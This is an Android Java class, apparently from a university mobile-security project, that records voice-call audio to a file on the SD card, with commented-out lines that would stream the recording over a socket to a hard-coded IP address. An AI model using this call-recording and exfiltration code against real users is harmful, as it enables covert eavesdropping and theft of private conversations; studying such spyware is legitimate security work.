package edu.cmu.ini.mobileSec;

import java.io.IOException;
import java.net.Socket;

import android.media.MediaRecorder;
import android.media.MediaRecorder.AudioEncoder;
import android.os.ParcelFileDescriptor;
import android.util.Log;

public class RecorderThread implements Runnable {
    private static final String LOG_TAG = "AudioRecordTest";
    private static String mFileName = null;
    private MediaRecorder mRecorder = null;
	Socket socket;
	ParcelFileDescriptor pfd = null;
	
	public RecorderThread(String fileName){
		mFileName = fileName;
	}
	
	@Override
	public void run() {
		startRecording();
	}

	public void startRecording(){
		mRecorder = new MediaRecorder();
        mRecorder.setAudioSource(MediaRecorder.AudioSource.VOICE_CALL);
        mRecorder.setOutputFormat(MediaRecorder.OutputFormat.THREE_GPP);
        //See if we can set this to a network socket
        try{
        	//socket = new Socket("128.237.252.208", 10000);
        	//pfd = ParcelFileDescriptor.fromSocket(socket);
        	//mRecorder.setOutputFile(pfd.getFileDescriptor());
        	mRecorder.setOutputFile("/mnt/sdcard/call.3gp");
        	mRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.AMR_NB);

            mRecorder.prepare();
        } catch (IOException e) {
            Log.e(LOG_TAG, "prepare() failed");
        }

        mRecorder.start();
	}
	
	public void stopRecording(){
		try{
			mRecorder.stop();
			mRecorder.release();
//			this.pfd.close();
//			if(this.socket.isConnected()) this.socket.close();
			mRecorder = null;
		} catch(Exception e){
			Log.e("My error", e.getMessage());
		}
	}
	
}
